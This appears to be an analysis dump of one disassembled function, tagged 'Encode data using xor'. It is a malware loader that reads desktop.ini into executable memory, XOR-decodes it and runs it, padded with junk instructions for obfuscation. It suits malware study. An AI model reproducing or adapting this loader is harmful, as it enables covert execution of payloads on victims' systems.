Function at 0x1000114e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.0hellExecuteW
push str.shell32.dll
mov byte [str.0eadFile], 0x52
mov byte [str.0hellExecuteW], 0x53
mov byte [str.0irtualAlloc], 0x56
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
push eax
xor ebp, 0x8279be
xor ebp, 0x268a
xor ebp, 0x820326
xor ebp, 0x5c12
pop eax
inc ebx
sub ebx, 0xffff3901
add ebx, 0xffff3900
nop
push eax
xor ebp, 0x8279be
xor ebp, 0x268a
xor ebp, 0x820326
xor ebp, 0x5c12
pop eax
inc ebx
sub ebx, 0xffff3901
add ebx, 0xffff3900
nop
push eax
xor ebp, 0x8279be
xor ebp, 0x268a
xor ebp, 0x820326
xor ebp, 0x5c12
pop eax
inc ebx
sub ebx, 0xffff3901
add ebx, 0xffff3900
nop
push eax
xor ebp, 0x8279be
xor ebp, 0x268a
xor ebp, 0x820326
xor ebp, 0x5c12
pop eax
inc ebx
sub ebx, 0xffff3901
add ebx, 0xffff3900
nop
xor esi, esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_SendMessageW]
push eax
xor ebp, 0x8279be
xor ebp, 0x268a
xor ebp, 0x820326
xor ebp, 0x5c12
pop eax
inc ebx
sub ebx, 0xffff3901
add ebx, 0xffff3900
nop
push eax
xor ebp, 0x8279be
xor ebp, 0x268a
xor ebp, 0x820326
xor ebp, 0x5c12
pop eax
inc ebx
sub ebx, 0xffff3901
add ebx, 0xffff3900
nop
push eax
xor ebp, 0x8279be
xor ebp, 0x268a
xor ebp, 0x820326
xor ebp, 0x5c12
pop eax
inc ebx
sub ebx, 0xffff3901
add ebx, 0xffff3900
nop
push eax
xor ebp, 0x8279be
xor ebp, 0x268a
xor ebp, 0x820326
xor ebp, 0x5c12
pop eax
inc ebx
sub ebx, 0xffff3901
add ebx, 0xffff3900
nop
push str.0eadFile
push str.kernel32.dll
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
push eax
xor ebp, 0x8279be
xor ebp, 0x268a
xor ebp, 0x820326
xor ebp, 0x5c12
pop eax
inc ebx
sub ebx, 0xffff3901
add ebx, 0xffff3900
nop
push eax
xor ebp, 0x8279be
xor ebp, 0x268a
xor ebp, 0x820326
xor ebp, 0x5c12
pop eax
inc ebx
sub ebx, 0xffff3901
add ebx, 0xffff3900
nop
push eax
xor ebp, 0x8279be
xor ebp, 0x268a
xor ebp, 0x820326
xor ebp, 0x5c12
pop eax
inc ebx
sub ebx, 0xffff3901
add ebx, 0xffff3900
nop
push eax
xor ebp, 0x8279be
xor ebp, 0x268a
xor ebp, 0x820326
xor ebp, 0x5c12
pop eax
inc ebx
sub ebx, 0xffff3901
add ebx, 0xffff3900
nop
push str.0irtualAlloc
push str.kernel32.dll
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
push eax
xor ebp, 0x8279be
xor ebp, 0x268a
xor ebp, 0x820326
xor ebp, 0x5c12
pop eax
inc ebx
sub ebx, 0xffff3901
add ebx, 0xffff3900
nop
push eax
xor ebp, 0x8279be
xor ebp, 0x268a
xor ebp, 0x820326
xor ebp, 0x5c12
pop eax
inc ebx
sub ebx, 0xffff3901
add ebx, 0xffff3900
nop
push eax
xor ebp, 0x8279be
xor ebp, 0x268a
xor ebp, 0x820326
xor ebp, 0x5c12
pop eax
inc ebx
sub ebx, 0xffff3901
add ebx, 0xffff3900
nop
push eax
xor ebp, 0x8279be
xor ebp, 0x268a
xor ebp, 0x820326
xor ebp, 0x5c12
pop eax
inc ebx
sub ebx, 0xffff3901
add ebx, 0xffff3900
nop
push 1
push esi
push esi
push 0x10002060
push esi
push esi
call dword [ebp - 4]
push eax
xor ebp, 0x8279be
xor ebp, 0x268a
xor ebp, 0x820326
xor ebp, 0x5c12
pop eax
inc ebx
sub ebx, 0xffff3901
add ebx, 0xffff3900
nop
push eax
xor ebp, 0x8279be
xor ebp, 0x268a
xor ebp, 0x820326
xor ebp, 0x5c12
pop eax
inc ebx
sub ebx, 0xffff3901
add ebx, 0xffff3900
nop
push eax
xor ebp, 0x8279be
xor ebp, 0x268a
xor ebp, 0x820326
xor ebp, 0x5c12
pop eax
inc ebx
sub ebx, 0xffff3901
add ebx, 0xffff3900
nop
push eax
xor ebp, 0x8279be
xor ebp, 0x268a
xor ebp, 0x820326
xor ebp, 0x5c12
pop eax
inc ebx
sub ebx, 0xffff3901
add ebx, 0xffff3900
nop
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x10003068], eax
push eax
xor ebp, 0x8279be
xor ebp, 0x268a
xor ebp, 0x820326
xor ebp, 0x5c12
pop eax
inc ebx
sub ebx, 0xffff3901
add ebx, 0xffff3900
nop
push eax
xor ebp, 0x8279be
xor ebp, 0x268a
xor ebp, 0x820326
xor ebp, 0x5c12
pop eax
inc ebx
sub ebx, 0xffff3901
add ebx, 0xffff3900
nop
push eax
xor ebp, 0x8279be
xor ebp, 0x268a
xor ebp, 0x820326
xor ebp, 0x5c12
pop eax
inc ebx
sub ebx, 0xffff3901
add ebx, 0xffff3900
nop
push eax
xor ebp, 0x8279be
xor ebp, 0x268a
xor ebp, 0x820326
xor ebp, 0x5c12
pop eax
inc ebx
sub ebx, 0xffff3901
add ebx, 0xffff3900
nop
cmp dword [0x10003068], 0xffffffff
je 0x10001756
push 0x40
mov edi, 0x1000
push edi
push edi
push esi
call dword [ebp - 8]
mov dword [0x10003064], eax
push eax
xor ebp, 0x8279be
xor ebp, 0x268a
xor ebp, 0x820326
xor ebp, 0x5c12
pop eax
inc ebx
sub ebx, 0xffff3901
add ebx, 0xffff3900
nop
push eax
xor ebp, 0x8279be
xor ebp, 0x268a
xor ebp, 0x820326
xor ebp, 0x5c12
pop eax
inc ebx
sub ebx, 0xffff3901
add ebx, 0xffff3900
nop
push eax
xor ebp, 0x8279be
xor ebp, 0x268a
xor ebp, 0x820326
xor ebp, 0x5c12
pop eax
inc ebx
sub ebx, 0xffff3901
add ebx, 0xffff3900
nop
push eax
xor ebp, 0x8279be
xor ebp, 0x268a
xor ebp, 0x820326
xor ebp, 0x5c12
pop eax
inc ebx
sub ebx, 0xffff3901
add ebx, 0xffff3900
nop
push esi
push 0x1000306c
push edi
push dword [0x10003064]
push dword [0x10003068]
call dword [ebp - 0xc]
mov eax, dword [0x10003064]
mov cl, byte [eax]
push eax
xor ebp, 0x8279be
xor ebp, 0x268a
xor ebp, 0x820326
xor ebp, 0x5c12
pop eax
inc ebx
sub ebx, 0xffff3901
add ebx, 0xffff3900
nop
push eax
xor ebp, 0x8279be
xor ebp, 0x268a
xor ebp, 0x820326
xor ebp, 0x5c12
pop eax
inc ebx
sub ebx, 0xffff3901
add ebx, 0xffff3900
nop
push eax
xor ebp, 0x8279be
xor ebp, 0x268a
xor ebp, 0x820326
xor ebp, 0x5c12
pop eax
inc ebx
sub ebx, 0xffff3901
add ebx, 0xffff3900
nop
push eax
xor ebp, 0x8279be
xor ebp, 0x268a
xor ebp, 0x820326
xor ebp, 0x5c12
pop eax
inc ebx
sub ebx, 0xffff3901
add ebx, 0xffff3900
nop
movzx eax, cl
xor eax, 0x4e
xor ecx, ecx
cmp dword [0x1000306c], esi
mov esi, dword [0x10003064]
jbe 0x10001754
mov dl, byte [esi + ecx]
xor dl, al
add dl, 0x42
mov byte [esi + ecx], dl
inc ecx
cmp ecx, dword [0x1000306c]
jb 0x10001740
call esi
pop edi
pop esi
pop ebx
leave
ret 0x10